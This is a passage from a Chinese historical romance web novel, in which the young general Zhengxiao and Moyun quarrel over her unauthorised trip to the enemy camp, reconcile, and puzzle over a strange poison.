此时，不言将白神医的医箱放下，一边打开取出了银针，一边带着几分无奈的语气望向茉云，调侃道：“怎么？又发疯挨打了？”
而正啸正端着药走近，茉云眼中顷刻闪过一抹决绝，几乎是没有任何犹豫地抬手，将正啸手中的药碗打翻在地，药水洒了一地。
她的脸色苍白，却依旧倔强地瞪向正啸，怒声吼道：“那不是多亏某人假公济私！我为何不能去探峑戎！”
众人都愣住了，茉云眼里充满了愤怒和不甘，好似这所有的惩罚，不过是为了逼迫她屈服。正啸则咬紧了牙关，眼中的愤怒愈加深沉。
“你卢家那一套套忠君报国，可舍身忘死的说辞，到了我这儿就是违抗军令了？”茉云言语中那刺骨的讽刺，如刀刃般刺向正啸而来。
正啸知道茉云身上有伤，只能极力克制自己心中怒火，几乎咬碎了牙说道：“那不代表去送死。”
茉云急怒上头，好似要将所有的积压的愤懑都宣泄而出的吼道：“我就是去送死，又怎么了！你没去送死过吗？”
正啸听到她这话再也无法克制，心中怒火瞬间爆发了出来，他猛地一把抓住茉云的手臂，将她拉向自己，怒不可斥的吼道：“方茉云，我可以死，你不可以！我也可以去送死，但你必须给我好好活着！”
面对正啸的咆哮，茉云微微一怔愣愣地看向正啸，眼中闪过一丝迷茫与复杂,好似内心深处的一道屏障被打破。正啸那握紧自己手臂的手，气得都有些微微颤抖，但他眼底仍然交织着至深的深情与担忧。
四目相触之间，茉云又怎能感受不到……正啸内心的痛苦和愤怒，皆是源于在乎。
一旁从未见过正啸如此失控的的不言，震惊地看向他的师傅。白神医则一脸无奈的摸了摸胡须，站在一旁等待茉云和正啸吵完，但他眼中却透出了一丝淡淡的笑意，半分没有要离开的打算。
可茉云此时的身体已经到了支撑的极限，内里的剧痛一阵阵翻腾而来，她强忍着不让自己倒下，手忽然猛地伸向胸口，捂住了那已不堪重负的地方，努力让自己站稳。
正啸看着茉云的这幅神情，脸上的怒火瞬间熄灭，神情顷刻间软了几分。
不言则在一旁低声对白神医带着几分揶揄地说道：“这个时候装个重病，晕倒一下，蒙混过去是她的拿手好戏。”
然而没等他话说完，茉云猛地一口鲜血喷出，直接染红了她的嘴唇。正啸眼见此情形心中一惊，立即一把将她抱住，原本的忿然瞬间化作了惊慌失措。
然而茉云却拼命挣脱他的怀抱，又是一口鲜血喷出。众人顿时都错愕的看着，军棍也不至于将她打成这样……白神医立刻晃过神，喊道：“快扶她躺下！”
正啸强行一把将茉云抱起，将她放在床榻上，但茉云依然在忿然中挣脱他的束缚，白神医看着茉云如此激动的状态，根本没有办法探脉，无奈地朝正啸说道：“正啸，不如你先出去，这里交给我！”
不言也焦急地看向正啸小声说道：“对，少帅，等下一吵再激动，她吐血更多。”
正啸听到这话才深吸了一口气缓缓起身，目光依旧定格在茉云的身上。茉云却依然微微撅起嘴巴一脸决绝，指尖微微颤抖指向营门的方向，让他离开不要站在自己面前。
正啸紧咬着牙关，最终还是转身走出了营帐，至少，此刻什么都没有她身体重要。
“哼！”茉云这才没好气的倒在榻上，让白神医和自己探脉。
正啸走出茉云营帐时，恰逢元帅正带着宏王爷骑马归来，一回营，元帅听说茉云被正啸罚了，这便算了，她竟然还被友军统帅林宇打了，顿时怒火中烧，气得将正啸招进营帐一通痛骂。
幸亏骂到一半时，不言来报，元帅马上让人传他进来，不言立即跟元帅和正啸禀报道：“元帅，师傅让我来禀报，您和少帅莫要担心，她虽是看似吐出了很多血，其实是腹中之物夹杂着嘴里的血吐了出来，她是受了伤，且吃坏了东西，但没有大碍。师傅说，茉云最好还是静养一下，少帅您就暂时别和她一般见识了。”
元帅也才松了口气没好气的骂道：“他担心什么！所谓不知者不罪，居然还让别人平白将茉云给打了，我警告你啊，她要是有个好歹，看我怎么收拾你！下去忙你的吧，看着就来气！”
正啸皱了皱眉转身向营帐外走去，心中悬着的那根弦才稍微放松下来。茉云的伤至少并无大碍……可她的桀骜，凌冽和失控都是如此伤人。
他回到了自己营中，营帐内寂静无声，周遭似乎都凝固了。正啸整整一日都未用膳，只是默默坐在案前批阅军务，就连笔毫在纸上划过的声音，都在这寂静的营帐中显得格外清晰，然而，任何人都能感受到他此刻的情绪——不悦、焦虑、甚至是深深的苦闷，这种情感像一道无形的屏障，笼罩在整个营帐中。
若辰深吸一口气望向脸上没有一丝表情的正啸，他看似深深沉浸在堆积如山的军务中，却不过只是想要通过繁琐军务，来转移自己内心的煎熬。
晚膳时，老太君派人来传正啸一同用膳，正啸依旧没有抬头只是回应两个字：“不去！”
看见传令兵眼中的惊愕，执礼无语地旋即起身，跟着去回了老太君，说正啸军务缠身，无法离开。
老太君无奈地叹了口气，一旁的鸿音脸上依旧包容而温和的笑容，轻声宽慰老太君说道：“正啸还是这般实心用事，兢兢业业，老太君，鸿音陪您用晚膳吧。”
老太君这才点点头在餐桌旁坐下，鸿音陪着她和元帅一起用餐，氛围依旧平静和谐，却也不知为何带着一股微妙的张力。
夜幕悄然降临，正啸的营帐内的灯火渐亮，怀逸端来了一碗热粥轻轻放在正啸的桌旁，然而，正啸依然没有抬头，目光依旧紧紧锁定在那些军务上，什么都不理睬。
若辰在一旁看了看怀逸，默默摇了摇头，他知道此时的正啸无心食物。
怀逸却并未放弃说道：“正啸哥，您气坏了自己也不值。”
正啸的手停住了片刻，他终于抬起头眼神依旧冷峻，面无波澜地说道：“你们都去休息吧。”
他的声音如此低沉，是人都看得出他内心的疲惫和煎
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熬。
“你也莫气了，我觉得她并非无理取闹，必有缘由！等明日你两都气消了，再去看看她！”若辰望向正啸宽慰道。
怀逸此时也深吸了一口气，轻声说道：“正啸哥，此事是有蹊跷，我去查了，茉云离开营帐之前去见了老太君，而沧海将军是老太君建议元帅派去接应押运粮草的队伍，沧海将军一走，方茉云就离营了。”
正啸的笔终于停了下来，双眉依旧微蹙，而执礼此时也深吸一口气，他从来不敢质疑老太君的决定，但此时他也忍不住开口了：“少主，这么说来，今日老太君来跟茉云求情亦很蹊跷，若是平时卢家军中这等不尊军令之人，老太君处置绝不会含糊。而且属下也听说，老太君下午去看了茉云，呆了一炷香的时间，而且老太君让白神医和不言先在帐外等待。”
正啸听到这些话心中一动，深深吸了一口气说道：“千山，去看看王强伤势如何，若无大碍带他来。”
不到一炷香的时间王强就来了，他虽然一身是伤动作略显迟缓，但当他看见正啸时，立刻小跑上前跪了下来，神情带着几分愧疚和无辜地说道：“少帅，属下知罪了。”
正啸的目光抬起落在王强身上，脸色依旧铁青，王强愣了一下目光有些闪烁，不敢直视正啸的眼睛。而正啸的眼神瞬间像刀锋一样锋利，他也洞察到王强眼中透出的迟疑与躲藏。
此时，萧怀逸也瞧出了王强的异样，他眼中透出一丝寒光，冷冷地说道：“少帅，这等不服军令的探营营帐还如何能留在营中。”
王强闻言眼中闪过一丝挣扎，他知道正啸治军素来令行禁止。但即便如此，他依然没有开口只是跪着，因为他知道茉云那里更难交代。
萧怀逸缓缓端起茶杯喝了一口，冷冷地继续说道：“而且，朝中之人说得没错，方茉云不能留在军中，更不能留在少帅您身边。她不服军令，不受掌控，再冒天下之大不韪的事她都能干，她终究是一祸害，日后恐误了大事。”
王强瞪向萧怀逸，情绪瞬间激动了起来，萧怀逸自从来了卢家军，就从来没说过茉云一句好话，总恶意揣测她，王强忍无可忍地回怼道：“宵小王爷，她是不得不去的！你总如此这般说她是祸害，那她为卢家军所立之功，你为何不说？”
“是吗？”萧怀逸瞬间嘴角上扬的说，“那她为何不得不去，你倒是说来听听！”
王强眼神瞬间慌乱，马上意识到自己说漏了嘴，不自觉地抬手捂住了嘴。正啸见状怒火再次上涌，他猛地一拍桌子站起身来，眼中迸射出无法控制的怒火.厉声说道：“说。”
王强吓得整个身躯一震，他也意识到正啸肯定再也无法忍受任何隐瞒，但茉云非将自己大卸八块不可。
执礼站在一旁眼中闪过一丝无奈，又好言相劝道：“王强，少帅已一日没进食了，都快被你们气得吐血了，你还不说实话？”
王强看着桌上已经冰冷的粥，深深地吸了一口气，最终开口说道：“少帅，我不知道真正缘由。但我知道她在城中收到了一封飞镖送来的信，是幽戎写的。”
正啸的目光瞬间再次变得犀利，众人眼中顿时也闪过一丝震惊，是幽戎……
“她没给我看全部的信，还玩笑着说，若我看了她还要考虑是否灭我的口，但云姐给老太君看了，老太君便帮他调走了沧海将军。”
众人听到这话更是难以置信，幽戎的信？老太君看了还暗中帮她离营？
正啸深吸一口气一脚便踹开了挡在身前的案几，毫不犹豫地朝老太君的营帐走去……
339.错怪
夜幕低垂，整个军营笼罩在一片沉静的黑暗中，只有营帐内的灯火微弱透出，四周寂静得好似被冻结了一般，连夜空都变得沉重而压抑。
若辰拦住了怀逸，低声说道：“让正啸一人去问老太君吧。”
怀逸点点头心领神会若辰的深意，既然方茉云连她一贯信任的王强都未说，他们又何须探究呢？
正啸几乎没有停顿直接去往老太君的营帐，他心中的压抑和不解交织，他深知真相肯定没有表面上那么简单，自己或许错怪了茉云……此刻，他只想找到答案……
可当他步入老太君的营帐，眼前的景象让他微微一顿。营帐中的灯光昏暗，照亮了卢老太君那张满是沧桑的脸。她坐在桌旁，身前摆着一封信，她的神情如此疲惫而沉重。
正啸看着她，心中不禁涌起一丝体谅，声音低沉却带着一丝关切的说道：“奶奶。”
卢老太君缓缓抬头，目光中透着一丝复杂与悲凉，她望向正啸直白地说道：“看了这封茉云从峑戎取回的信，你就知道她为何一定要去峑戎了。”
老太君的声音如此沉重，眼眶也微微泛红，这一刻所有的痛苦、失望和疲惫，好似都在她心头汹涌而至。
正啸的心猛地一紧，他走上前拿起桌上的信件，一眼，他便认出了爷爷的笔迹，顿时双眉微蹙心中一惊，不禁也倒吸了一口气。
“这封信本是你爷爷写给他的一生的莫逆之交华太尉的。结果却落在了峑戎手里，敌人将这封信留了这么些年，定是想对=在危急关头对卢家致命一击！可叹啊！”
正啸静静地站在那里，试图将所有的情绪压下，但内心的震动依旧难以平复。营帐中的灯光微弱，照在卢老太君的脸上，她的泪水不由自主地滑落，像是要将多年积压的痛苦一一释放。
她的声音沙哑，带着几分挣扎和悔意：“你姑姑是命苦，可你爷爷也是为了南境万民，我们又怎知皇上的亲弟，会趁机篡位呢？”
正啸目光落在此信上，他未想过爷爷当年会做这样的选择，但心中满是敬佩，本可保驾勤王立不世之功的爷爷，却选择了为了南境万民留在边关，可他知道皇上若看到此信，今生都不会原谅卢家，因为他的一生挚爱——自己的亲姑姑就是那时走的。
正啸深吸一口气拿起那信，伸到烛火边点燃，看着它最终化成了灰烬：“奶奶，若是我也会先打完战再回京，奶奶，您也不必太过懊悔，姑姑素来孝顺且极为敬仰爷爷，她会支持和尊重爷爷的决定。而姑姑亦是赤诚之人，她当年为圣上挡下那一剑，也是她无怨无悔的选择，全家亦支持她。”
老太君深吸一口气望向正啸那刚正而坦荡的身影，欣慰的点点头，轻轻是拭去脸上的泪水。
“至于此信是如何到了峑戎手里，您也不必太过介怀，谁又知道华太尉身边发生了什么，信是被偷了也不一定！”正啸看向老太君宽慰道。
老太君却忽然怔了半刻看向正啸，不知为何居然捂着额头被逗笑了，正啸眼中闪过一丝不解望向老太君，她刚还神情异常悲凉，自己虽是在宽慰他，可并没有说什么可让她瞬间开怀的话。
老太君长叹了一口气说道：“下午我去见茉云，我说你若知道此事当如何自处，她说让我放一万个心，若你是你爷爷，你也会做你爷爷的一样的选择，没什么理解不了的。至于人心叵测这件事上，她说你速来愚不可及，总会给他们安个合情合理的理由，比如说不容易，被逼的，无可奈何，你甚至有可能自欺欺人说这么一封可扭转乾坤，震撼朝野的信，可能是被峑戎偷了！她算你还真是算得准啊！罢了，我们卢家也确实无需纠结此事。”
正啸眼中顷刻闪过一丝无语，可是心中却渐渐在翻腾，自己的确错怪了她，正啸深吸一口气说道：“奶奶，你为何不告诉我呢！”
“谁知道你下手那么快！”卢老太君想着满脸皆是无语说道，“哎……也是那丫头一时不知那根筋搭错了，自己也是挑事！”
“奶奶！”
“是她不让我说，她其实是信不过鸿音他们，她刚刚还质问我，说我们卢家难道被骗被辜负得还不够吗？怎得就如此轻信？活该吃足了亏！”老太君没好气瞪着正啸，可又不禁叹息了一口气说道，“但她说得对！”
正啸不自禁的握紧了拳头，说不出的心疼在心中涌动，搅弄得自己五内俱焚，他看向老太君深深吸了一口气，却不知道说什么。
老太君的声音瞬间又有些颤抖望向那地上的灰烬，好似这一刻已无法承受更多的负担：“这就是当年你爷爷赤诚相待，至诚至信的挚友，却还不及与你深仇大恨的敌人来得坦荡。我卢家是识人不明。幸亏这世上福祸相依，有善有恶，你身边还有茉云，能陪你一起吃这人世的苦。”
正啸的目光闪过一丝复杂的怅然，奶奶这话旁人听着都觉平常，可于自己而言，却如一根针狠狠扎入心髓……她在自己身边，就是在陪自己吃苦。
而此刻茉云微微醒来，感觉到腹中空虚，这么一番折腾，好似是被抽走了所有的力气。她睁开眼睛，眼前一片漆黑，营帐内如此寂静，好似所有的声音都被吞噬在这片黑暗中。
她脑中仍然昏昏沉沉，周身只觉冷得刺骨，支撑坐起来，看向床边想找点什么东西取暖或裹腹……忽然脑海中浮现出正啸白天站在这里说的话——“我可以死，你不可以。”
那句话好似刺入了自己的心底，她轻轻吸了口气瘪瘪嘴。自己又清醒一些。哪怕又饿又冷，可心底依旧涌起一阵复杂的情感。她又忽然想起黄昏之时，万莫端药来时，一脸的不悦……
他说自己待正啸不好，自己还与他争辩了几句，可万莫说，以前他和他哥刚入卢府之时，当时正啸身旁的贴身侍卫唐百刚告诉他们，他们少主虽严肃却是个极好的人，他从不要求身旁之人去做什么讨他开心。但是少主不易，很多人都待他极为严厉苛刻，他时常不太开心，作为他身旁之人，就不要再做惹他不开心的事就好……
茉云深吸一口气不禁抱紧了被子瘪瘪嘴巴，自己真的待他这般恶劣吗？
就在这时，营帐中忽然传来了动静。茉云迷迷糊糊间虚弱地望过去，目光渐渐聚焦，月光微微洒进帐内，映出一个她再熟悉不过的魁梧身影——瞬间这片冷寂温暖了起来。
正啸的身影渐渐地走近，他似乎将什么东西放在桌旁，然后缓缓走了过来，才看见茉云已醒来坐在榻上，他俯身低下头，抬起手轻轻抚摸了一下茉云的脸，温柔的问道：“好些没？”
茉云有些迷惘而迟缓的抬起头，就在他气息如此靠近的这一刻，忽然觉得所有的情感都被深深触动，她瘪瘪嘴巴眼神中难得的透出了一丝些委屈，朝正啸伸出了双手。
正啸轻轻俯身，一把将茉云揽入怀中，如此温柔却有力。茉云微微一愣，随即感受到他那股热烈的温暖卷袭了全身，所有寒冷就在这一刻被驱散。她还能感受到正啸的心跳，与自己心跳在这一瞬间相互交织。
正啸触碰到茉云之时，她如此虚弱和寒冷，正啸心底顷刻间好似揪成一块，却也只能轻轻将她抱得更紧了一些。
茉云
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微微将头靠到他的胸膛上，闭上眼睛任由这一份温暖，透过他的衣襟缓缓渗透到自己内心。
营帐内的寂静似乎不再那么压抑，取而代之的是一种无声的默契与安宁。正啸的怀抱就像是一堵无法逾越的坚实壁垒，将所有的痛苦与寒冷都挡在了外面。
良久后，正啸才缓缓低下头，看向怀中的茉云，轻轻开口问道：“饿吗？”
茉云依偎在正啸怀里轻轻的点点头，身体的虚弱让她连说话的气力都没有了。正啸伸手将她一把抱起坐到桌旁。他总是如此强势却如此温柔，就让茉云坐在自己怀中，再伸手将桌上那碗热腾腾的面端到茉云面前。
看着这碗里热气升腾，顿时,茉云感到一股暖流涌上心头，眼中竟有一丝感动。她开心地拿起筷子，便埋头吃了起来。面汤的香浓弥漫开来，每一口都带着温暖而熟悉的滋味。尽管这面并不是她平日喜欢的那种劲道，但这面煮得这般软糯，恰好适合她现在虚弱，吃进胃里顷刻感到全身都舒畅了起来。
正啸静静地撑着头，看着茉云在自己怀里吃着面,白日里的不悦和烦闷，好似一瞬间烟消云散，他静静地望着她，只觉得自己的心愈加柔软，也愈发舒畅。
“你大半夜把周叔叫起来下的面吗？”茉云边大快朵颐边问道，她尝得出这面汤就是周叔面汤的味道。
正啸望向茉云温柔而坦诚地说道：“我下的。”
茉云一脸疑惑地看向面碗说道：“我怎么在这里面吃出了他面汤的味道。”
“看他下一次面，不就会了。”正啸一脸平常地解释道。
茉云轻轻愣了半刻，顿时看着面又温暖的笑了继续大口吃着，她知道正啸决计不是有兴趣或有闲工夫去跟周叔学下面的人，不过是全军都知道自己喜欢吃周总教头下的面罢了。
她一边吃着，眼中忽然闪过一丝俏皮，感叹说道：“你就看一次就会了？嗯，难怪他们都说你是天纵奇才。”
正啸顷刻被她微微逗乐了，眼中闪过一丝无奈的笑意，依旧深深看着她。
茉云一下就吃完了半碗，她知道正啸也一日未进食，她将面推向他说道：“白神医说我伤了肠胃，不能吃太多，你把这半碗吃了。”
正啸换了左手抱着茉云，右手接过茉云递过来筷子，俯身吃着碗里剩下的面。
茉云撑着头静静望向他，眼中透出一缕柔和的光，待正啸吃完之时，她突然开口说道：“诶。”
正啸抬起头目光与她对视，眼中半分没有平日的威严和凌厉。
“卢正啸，咱两一定能白头到老。”她的声音轻柔而笃定，笑容中带着对未来无尽的憧憬。
正啸愣了一下眼神温柔地看着她，似乎顷刻被她的笑容和话语所打动。他的内心微微在震动，被她轻轻牵动的情感瞬间弥漫开来。
“知道我何以如此笃定吗？”茉云一脸俏皮的凑近正啸，看向他的双眼说道，“因为这么好吃的面，我居然让了半碗给你吃，这要在以前，是绝不可能发生之事，连我自己都被自己感动了。所以咱两肯定能白头到老。”
正啸瞬间又被她逗笑了，眼中闪过一丝柔情和笑意。他伸手一把搂过茉云，将她拉得更近，俯身便深深吻了下去。
深夜的营中万籁俱静，没有言语解释，亦未将心疼诉说，更无委屈抱怨，白日的纷繁复杂，所有或怒或执，或痴或狂的情绪，都在这一刻消散得无影无踪。
剩下的只有微润月色下，所有的情感都汇聚在这一吻里，深深地映入彼此的心里，如此温柔又如此沉溺……
340.朋友
夜已经如此深，正啸回到营帐中，帐内一片寂静，他依然坐在案前，低头批阅着一堆堆的军务文件，心中的温柔还萦绕在心头。
千山守在一旁，看见正啸眉宇间已经没有了白日里的紧张与压抑，完全舒展开来，眼底还渐渐透出一丝愉悦和放松，心中不禁松了口气。
翌日清晨，茉云好似马上就恢复了精气神，一早就去伙营用膳。虽然脸色还稍显苍白，但那份坚韧和乐观依旧在她眼中闪烁。
周总教头见她进来，嘴角微微一抽，忍不住低声骂道：“真不知道你这妖怪什么变的！”
茉云则一脸嘚瑟的摆了摆头笑着说道：“一觉醒来又是一条好汉。”
众人看着不禁都笑出了声，看到她精神焕发的样子，大家都松了一口气。她一脸精气神十足，埋头大快朵颐的用着早膳，让众人心中也不禁感叹，茉云果真是钢筋铁骨。
而白神医则看向茉云，心中闪过一丝担忧，他知道茉云被打了三十军棍，今天能够站起来都算不错了。但他只是微微皱眉，并未言明，他心中知道茉云强撑着来用早膳，不过是为了稳定军心，遏制军中浮言。
白神医用完早膳便去可正啸营帐，让正啸管着她，让她至少呆在正啸身边静养，不要再到处乱跑。正啸听后旋即让万莫去将茉云带到自己的营帐。
不到一炷香的时间，茉云乖乖的来了，正啸本在听沧海汇报军务，听到茉云的声音，不自禁的目光转移她身上，带着一丝不容置疑的关怀，眼底也透出几分温暖与柔情。
老太君今日一早便叫执礼去交代了几句，若辰他们几个也都知道了，茉云是受到了要挟，虽不清楚要挟的内容，但茉云是不得不去峑戎单刀赴会。
此时，若辰抬目和执礼对视了一眼，然后轻轻举起茶杯试着抿了一口茶，微微嘴角上扬——他两这么快就和好了？
万莫则兴高采烈地将正啸允他去城里，刚买回的零嘴递给茉云，开心的分享着：“刚买回来的，你尝尝。”
茉云看到这些零嘴，眼中立刻闪过一丝喜悦的光芒，她接过就拿起一块果干塞嘴里，开心的点着头说道：“好吃！”
甜美的滋味让她瞬间心情大好。看见茉云喜笑颜开的样子，正啸才渐渐收回了眼神，脸上淡淡浮现一抹温柔的笑意，经历了此番争执和误解后，两人心好像贴得更近了。哪怕短暂放下心中的重担，享受片刻的宁静与温暖，都让两人心生欢喜。
这时，若辰走了过去，将手中那壶新泡的茶，轻轻地放到茉云面前：“昨日对他那么大的火，是为何？”
执礼也不禁望了过去，也就是若辰跟茉云有这么久的交情做积淀，才敢问得这么直接。
“别提了，我对你也火大啊！”茉云则没好气地瞥了若辰一眼，拿起茶壶倒了一杯茶，旋即一阵茉莉花的清香飘然而至，香气扑鼻，她开心闻了闻，眼神瞬间缓和了几分。
若辰被她逗笑了，带着一丝调侃的语气说道：“我几时开罪的你？”
茉云本欲将茶壶重重地放下，可又担心会将这茶水弄洒，她咬着果干，只得先轻轻放下茶壶，才一连故作愤愤不平地说道：“关若辰，我之前问你们，那长公主是不是来者不善，结果他说那倒未必，你更好，你一言不发。”
若辰愣了一下看着茉云那不满的眼神，有点摸不着头脑。执礼也望向了茉云，似乎也没明白她其中深意。
茉云紧紧的咬住果干，在嘴里用力嚼着，继续气愤地质问道：“我且问你，是清清白白，没来者不善吗？你这人不够朋友！”
若辰瞬间明白了茉云的意思，被逗得笑出了声，而正啸眼神中瞬间流露出一丝无奈，这丫头竟然昨日是因为此等缘由如此挑衅顶撞自己，差点没将自己气炸了去。
若辰不紧不慢地笑着，没有半分婉转和避讳的说道：“怪我没理会你的意思，长公主都嫁人这么多年了，那都是过去的事了。”
正啸听到这话顿时瞪向若辰，眼神警告他不要胡说八道。
若辰的余光自然是见到了正啸那骇人的目光，嘴角微微上扬，打开扇子挡住了正啸的眼神，笑得愈发畅然的说道：“他当年压根没有这根弦，不过将鸿音当做长姐，挚友罢了，她又是长公主，多了几分恭敬而已。”
茉云愤愤地撕咬着手中的果干，瞪着若辰没好气地说道：“是吗，我怎么没看见过他跟旁人谁牵过马绳，稳过马？就算是皇上下马之时，他都像木头桩子一样杵在那里不动，这会儿这么恭敬了？”
这话一出，营中不禁传来一阵低笑，就连沧海都微微被逗笑了，正啸眼中闪过一丝深深地无语。
此时站在茉云旁边的万莫，一脸坦然而认真的回忆着说：“少主也跟惜缘小姐牵过马绳啊。”
茉云愣了一下，若有所思地看向万莫，好似回忆起来他也确实也是这般爱护自己妹妹的。但她依旧没消气，瞪向万莫继续说道：“对，你少主的好友、姐姐就都很重要。上次他就是当着我侄儿腾腾的面打了我一顿，这次我好不容易来了几个朋友，他又当着他们的面将我一顿暴揍，让我颜面扫地！”
万莫想着顿时长叹一口气，似乎觉得茉云的话也有理，营中其他人更是忍不住笑出了声。
执礼在一旁笑着忍不住插话，帮忙说话道：“少主当时碰见沧海将军后，知道你去探峑戎了，心中又是担忧又是气愤，回营之后他压根就没看见西南部落的诸位少部落主。”
“当然啦，眼里只有自己那珍贵的朋友，哪能看得见别的！”茉云边用力嚼着果干，边没好气地挖苦道。
正啸一脸无语地低头看向军务，但是眼底却依旧透出了几分温和，众人亦能感受到他终于恢复了平日里的从容镇定。
此时，怀逸轻轻推开营帐的帘幕走了进来，他环顾了一下四周看到营中其乐融融的氛围，所有人的表情似乎都带着一丝轻松，他心中不由得松了一口气。
随即，他坐下眼神扫过茉云，开口问道：“请问方将军一探峑戎，可有何收获？”
“所幸咱们军中还有个督军在做正事，还关心我去峑戎可有进展。”茉云嘴角微扬，带着一丝轻冷的笑意看向萧怀逸。
萧怀逸深吸一口气，眼神中的冷意依旧隐隐闪现，两人素来心有嫌隙，他显然也听出了茉云话中的挑衅，说道：“就像方将军说的，我一个闲职的小王爷，总得干点正事，才有留下的意义。”
他声音平稳看似带着一丝自嘲，但显然亦是回怼茉云，执礼则无奈的看向他两，当真是一见面就掐。
随即，怀逸又望向茉云，脸色略微严肃的说道：“再者，昨日那可是新元王后，我朝的长公主，不知方将军何以如此冒犯于她？您绝不可能是所谓的不知者不罪，您定然一眼就能认出她是谁！”
茉云的眼中闪过一丝冷笑，嘴角轻轻上扬，淡淡地说道：“宵小王爷，军中无帅则不立，但帅多了更糟，卢家军就是太多人喜欢来指手画脚了，不然您的正啸哥哥说不定早摆平了峑戎！”
怀逸停顿了半刻，方茉云果然是故意激怒长公主，让他们耀武扬威的模样让军中将
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士都看到。
他顿了顿于是继续说道，“方将军的苦肉计着实也精彩，让军中人都同情你的遭遇，逼得正啸哥愤怒之下宁可冲撞长公主，也要在全军下令让将士不用听命他们。只是鸿音公主素来就像正啸哥长姐一般，你要给人下马威，怎么不自己动手呢？要挑拨他们亲如姐弟的关系？”
若辰顿时无语的望向怀逸，眼神示意他别在说了。
茉云的眼中顿时闪过一丝狠戾，嘴角勾起一抹不屑的笑：“哼，也就是我现在变良善了！你认识他亲舅舅和二姑吗？要下狠手我亦下了。要灭峑戎，平定南境，自当不破不立，万山无阻。你们这些姐姐、弟弟啊，不过是因为确实也还有点用罢了！”
怀逸的眼神亦冷冷地望着茉云，但他能感受到她话语中的狠戾，营中气氛也瞬间冷了几分。
若辰则不为所动地笑了笑，语气轻松地说道：“人两才缓和点，怀逸你又来寻衅，你就是不想你正啸哥有点好日子过？”
怀逸白了茉云一眼，什么也没有再说。而茉云淡淡一笑，神情依旧透出一丝寒戾，说道：“那倒没事，苦难本就让人成长！不然幽戎现得现在成了峑戎的大王呢？”
她的话音刚落，顿时四周好似凝滞，众人除了正啸都吃惊地看了过来。这句话如同一道惊雷劈在营帐中，所有人眼中满是震惊与疑惑。
执礼眼中皆是震惊地望向茉云，迫不及待地问道：“幽戎谋朝篡位，成了峑戎的大王？”
茉云则依旧一脸的风轻云淡，目光淡漠似乎对这些事并不在意：“是不是谋朝篡位我不知道，但他那岳丈，峑戎的大王肯定是没了，然后大王的儿子们也没了，他是他们大王的女婿，按照部落的规矩，他坐上王位也算是顺理成章。”
众人都被这出人意料的消息给震撼到了，神情亦渐渐变得严肃。
“但这中间，他肯定也出了大力。”茉云淡淡然地继续说道，“因为集益指着我骂，说多亏了我当年在裴桥散播的谣言，说他儿子出生时天生异象，未来是峑戎的大王。”
众人不禁倒抽了一口气，萧怀逸忍不住自言自语般感叹道：“幽戎居然成了峑戎的大王……”
茉云的眼中闪过一丝冷笑，她的嘴角微微上扬：“对啊，怎么听小王爷的语气，好似觉得自己励精图治大半辈子，也不过只是世袭了王爷爵位，所以对这幽戎做了大王，着实有几分羡慕和敬仰之意。”
怀逸顿时愣了半分瞪向她，眼中显然显出了一丝愤然，表情一瞬间变得有些不自然，他本就是王室旁支，而他们萧王府之前在朝中本就处境尴尬，此番言论于朝廷而言，那可不是一般的小罪。
这时，正啸终于抬起头，虽然语气冷峻，但目光里仍然透着几分无奈，低声说道：“别乱说。”
“哼！”茉云没好气地白了一眼正啸，一脸不爽的撑着头，忿然于每次吵架他老帮别人，可她也终究没再说什么，只是看着正啸一脸镇定从容的样子，不禁又问道，“幽戎那家伙做了大王，你为何不惊讶？”
“他虽然不是天生的王者，但骨子从来流的都是不服输的血，绝不可能屈从于他人的意志，被逼到这一步，他就会走这一步。”
茉云轻轻笑了，自己素来喜欢正啸眼底的豁达与坦荡，可她心中不禁感叹——命运，就是这般造化弄人，尽管彼此身系血海深仇，但卢正啸从未说过幽戎半句恶言。
那日自己当着幽戎的面调侃他，这辈子也许只承认过卢正啸一个朋友。人生，有时一个朋友，胜过千万个泛泛之交，奈何……
341.求情
营帐中一片寂静，空气凝重，众人似乎已经陷入了深深地震撼，只有这正啸依旧如常坐在案前，让沧海继续汇报军情。
沧海才晃过身，努力将注意力集中在汇报上，正啸则专心致志且严肃的审阅着军务，这才把众人思绪缓缓拉回了军务日常。
就在这时，白神医步入了营帐神色严肃，带着一股无可言说的急切。他没有直接开口，而是走到茉云身边，坐下便替她探脉。紧随其后的是不言，他的眼神也同样沉重，目光在茉云身上反复打量，显得一脸狐疑。
白神医的手指轻轻地搭在茉云的脉搏上，神色凝重，可是片刻后眼中又闪过一丝微微惊讶，然后他反复探脉了几次。顿时便将正啸的注意力也吸引了过来，因为他知道白神医平日里一探便准……
白神医眉头微微皱起，深深吸了一口气，才缓缓说道：“你安然无恙。”
话语虽然平静笃定，但在这安静的军营中却透着一份沉甸甸，好似隐藏了什么尚未言明的玄机。
不言则紧接着走上前，继续替茉云探脉，手指轻触，她的脉象似乎确实未见任何异常，然而他脸上的神色愈发诧异。
“你……”不言的话突然停住了，他看向茉云眉头紧蹙，带着明显的迟疑：“你知道你昨天吐出来的血，居然让地上爬来的蜈蚣都毒晕了？可你怎么如此安然无恙呢？”
话一出口，正啸的眼神瞬间锐利了起来，问道：“在军营中？”
“不可能是军中下毒，我吐血之时，没有吃军中食物。”茉云的眼神冷静而笃定的说道。
怀逸此时轻轻皱眉，看向茉云，语气中带着一丝疑虑：“难道是幽戎下毒？”
茉云若有所思，但她心中并不认为幽戎会下毒。
“那家伙不会下毒。”正啸的语气果断而笃定，他对他的这个老对手有着深刻的了解。
茉云瞥了他一眼，心中却微微松了口气。她虽然对幽戎有所警觉，但正啸的话语却让她对那个男人的判断产生了更多信任。
怀逸语气带着一丝讽刺和质疑地说道：“可保不齐他身边之人，太想方茉云死了。”
白神医摇摇头，神情透出深深的困惑：“可这毒药并不会一定能将人毒死，只会让人受罪，这属实让人匪夷所思。”
不言亦沉默片刻，神色更为凝重的自言自语道：“谁会下这种毒？”
他的眼中闪过一丝疑虑与不安，显然这没有一个合理的理由。这个毒药的异常难寻，且非常特殊，最主要是不至于要人命。
茉云静静地听着眼中闪过一丝冷意，她的目光渐渐透出一丝狠戾，她知道，这件事背后或许隐藏着更多的秘密，但她此刻并不想这件事造成军心动荡。
她微微一笑，眼中闪过一丝调侃，淡淡地说道：“我没有中毒便好，许是那蜈蚣被蜘蛛咬了。”
不言听到这话顿时无语，眼神中闪过一丝困惑和无奈，这怎么可能？
这时，营帐外传来又一阵脚步声，忽然营帐外卫兵进来汇报道：“少帅，西南部落主的少主们求见。”
正啸温和的微微点头，示意让他们进来。片刻后，西南部落的少部落主奇能、正奇和西今都恭敬地走了进来，他们身穿族中服饰，态度谦和地行礼，眼中却透着一丝对卢家军敬畏。
三人站定后，互相交换了眼神，好像还在等着其中一人开口。
